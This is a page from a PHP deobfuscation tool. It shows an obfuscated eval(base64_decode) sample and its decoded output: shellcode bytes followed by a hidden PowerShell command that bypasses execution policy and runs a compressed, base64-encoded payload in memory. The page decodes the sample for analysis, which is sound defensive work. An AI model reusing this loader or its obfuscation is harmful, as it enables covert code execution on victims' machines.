Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("gcRU8v///OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4..
Decoded Output download
T`1dP0RRr(J&1<a|,
RWRJ<LxHQY I:I41
8u};}$uXX$fKXD$$[[aYZQ__Z]jPh1o*
h<|
uGrojSpowershell.exe -exec bypass -nop -W hidden -noninteractive IEX $($s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAN+/bFcCA51WW2/bNhR+96848LRaQixGztpdDKSYq6RbgKw1aq95MAyElo5jLTKpkpQvSPzfR0qUJccJuswvsg4PP37nOxfqBxjyNYp5zsCHG5EohQxmW/igH+NcMBTwBi7oCuFPKuJtq6U9I5VwBn+g8m9wFqUJMgWthxbon7OO4Bw+4dr/PPsHIwX+eJvhJ7pEbVRE+4eFf+VM/pZ4gXOapyoUGOuVhKZSQzhK5Lj3Ggq+2ZInHtresFS+rV1NMatCaz1AsT6kgi7d8v9kpETC7qZOyJdLyuLuoXUk04izJ8YLvmYpp3Fh9Sym4BFKCVaAJY/zFA3B3932Qqmsf3raC0gv+Jm865Fffuv/GgTBaSH61wTXJJO9tgclVDIHt6IDPn6D9ixhcdsrFkv84ow0kTpNOjXnmtpW/18So+6IR/eoJBlH2bX1mL59+9PxPiIVFcr1jLFetZk8b/gNoggzpfHKrLklk91LbAWuUEg8JryHblTGc8TDoT2o3ZSs3dVR2KNbpcpSCaRLw7WEJroaR4VNc6zZlUksyZmCatucNahJmY4qsBfYYZTrxtiSUeXq2vO7zlxXHnbdB2es0XfgUwmTgz1fcMkVhihUMk8iqvArTZOYmvIMaZrOaHQ/9bxn6JBBrhamts2mgXxWF6+RvVqROqKmZJPZVuFkOnXM05RnQMiZLsXg8ceHYGdVRRZXy+5E4UYRZBGPTe33+4NReHXlGaU/GB+3faOLk69lOUFGC0xTEDlj2hu0DrnUBdqGE3CQrfrmjZkxcKJtOiX7hYgvs1zVi7cs5NlWJHcLBW7owVnQewd/JZHgks8VhFxkXBT6ERiYE42nBIH6gBXG5JbdMluAVhNixhq6dXTdoFu/kGtkd2rRrJqqy5t1c1Q2r5NqcjKFaw1ptLETgux5vp5rtesjF5c0WmjOJSgkbD+Baq+atvm5B4PbI1W05YyrkLzHK7bi9+hfbjKtrdR671F2h634KiU6wxF0dJ4LFtc8KjLpkSFVC23tvO/879StF0mKruskRQ+U278gjd2y4rsQdME52OeBzxCCo9xeGvoYj3UoL11mdjwYF1KEeGlDrlF0k1NDpYFmp1QhcxUOOIn3pKz0TDBaHiUA/GraluBn79/04BE+58ovUcFKcQB1BoUgFbAW+TspgE4NsjFEHBSCi0kwPTiswbpYJ1GKVLjecwzOmy+68Tet4076T+VTw3y3dZqlctQ41Z6PaS4XbnX/2jFor5Qw5RJtPPWVOFI8q+5B/a3R2n9j7JNjb0Hw7e1jBgj4+6FSfNj8C8eoEot3CQAA'));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)
Did this file decode correctly?
Original Code
eval(base64_decode("gcRU8v///OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu+AdKgpoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1XBvd2Vyc2hlbGwuZXhlIC1leGVjIGJ5cGFzcyAtbm9wIC1XIGhpZGRlbiAtbm9uaW50ZXJhY3RpdmUgSUVYICQoJHM9TmV3LU9iamVjdCBJTy5NZW1vcnlTdHJlYW0oLFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnSDRzSUFOKy9iRmNDQTUxV1cyL2JOaFIrOTY4NDhMUmFRaXhHenRwZERLU1lxNlJiZ0t3MWFxOTVNQXlFbG81akxUS3BrcFF2U1B6ZlIwcVVKY2NKdXN3dnNnNFBQMzduT3hmcUJ4anlOWXA1enNDSEc1RW9oUXhtVy9pZ0grTmNNQlR3Qmk3b0N1RlBLdUp0cTZVOUk1VndCbitnOG05d0ZxVUpNZ1d0aHhib243T080QncrNGRyL1BQc0hJd1grZUp2aEo3cEViVlJFKzRlRmYrVk0vcFo0Z1hPYXB5b1VHT3VWaEtaU1F6aEs1TGozR2dxKzJaSW5IdHJlc0ZTK3JWMU5NYXRDYXoxQXNUNmtnaTdkOHY5a3BFVEM3cVpPeUpkTHl1THVvWFVrMDRpeko4WUx2bVlwcDNGaDlTeW00QkZLQ1ZhQUpZL3pGQTNCMzkzMlFxbXNmM3JhQzBnditKbTg2NUZmZnV2L0dnVEJhU0g2MXdUWEpKTzl0Z2NsVkRJSHQ2SURQbjZEOWl4aGNkc3JGa3Y4NG93MGtUcE5PalhubXRwVy8xOFNvKzZJUi9lb0pCbEgyYlgxbUw1OSs5UHhQaUlWRmNyMWpMRmV0Wms4Yi9nTm9nZ3pwZkhLckxrbGs5MUxiQVd1VUVnOEpyeUhibFRHYzhURG9UMm8zWlNzM2RWUjJLTmJwY3BTQ2FSTHc3V0VKcm9hUjRWTmM2elpsVWtzeVptQ2F0dWNOYWhKbVk0cXNCZllZWlRyeHRpU1VlWHEydk83emx4WEhuYmRCMmVzMFhmZ1V3bVRnejFmY01rVmhpaFVNazhpcXZBclRaT1ltdklNYVpyT2FIUS85YnhuNkpCQnJoYW10czJtZ1h4V0Y2K1J2VnFST3FLbVpKUFpWdUZrT25YTTA1Um5RTWlaTHNYZzhjZUhZR2RWUlJaWHkrNUU0VVlSWkJHUFRlMzMrNE5SZUhYbEdhVS9HQiszZmFPTGs2OWxPVUZHQzB4VEVEbGoyaHUwRHJuVUJkcUdFM0NRcmZybWpaa3hjS0p0T2lYN2hZZ3ZzMXpWaTdjczVObFdKSGNMQlc3b3dWblFld2QvSlpIZ2tzOFZoRnhrWEJUNkVSaVlFNDJuQklINmdCWEc1SmJkTWx1QVZoTml4aHE2ZFhUZG9GdS9rR3RrZDJyUnJKcXF5NXQxYzFRMnI1TnFjaktGYXcxcHRMRVRndXg1dnA1cnRlc2pGNWMwV21qT0pTZ2tiRCtCYXErYXR2bTVCNFBiSTFXMDVZeXJrTHpISzdiaTkraGZiakt0cmRSNjcxRjJoNjM0S2lVNnd4RjBkSjRMRnRjOEtqTHBrU0ZWQzIzdHZPLzg3OVN0RjBtS3J1c2tSUStVMjc4Z2pkMnk0cnNRZE1FNTJPZUJ6eENDbzl4ZUd2b1lqM1VvTDExbWRqd1lGMUtFZUdsRHJsRjBrMU5EcFlGbXAxUWhjeFVPT0luM3BLejBUREJhSGlVQS9HcmFsdUJuNzkvMDRCRSs1OG92VWNGS2NRQjFCb1VnRmJBVytUc3BnRTROc2pGRUhCU0NpMGt3UFRpc3dicFlKMUdLVkxqZWN3ek9teSs2OFRldDQwNzZUK1ZUdzN5M2RacWxjdFE0MVo2UGFTNFhiblgvMmpGb3I1UXc1Ukp0UFBXVk9GSThxKzVCL2EzUjJuOWo3Sk5qYjBIdzdlMWpCZ2o0KzZGU2ZOajhDOGVvRW90M0NRQUEnKSk7SUVYIChOZXctT2JqZWN0IElPLlN0cmVhbVJlYWRlcihOZXctT2JqZWN0IElPLkNvbXByZXNzaW9uLkd6aXBTdHJlYW0oJHMsW0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV06OkRlY29tcHJlc3MpKSkuUmVhZFRvRW5kKCk7KQA="));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 8af7602c0ddc4fc56ccae65fdc548940 |
| Eval Count | 1 |
| Decode Time | 78 ms |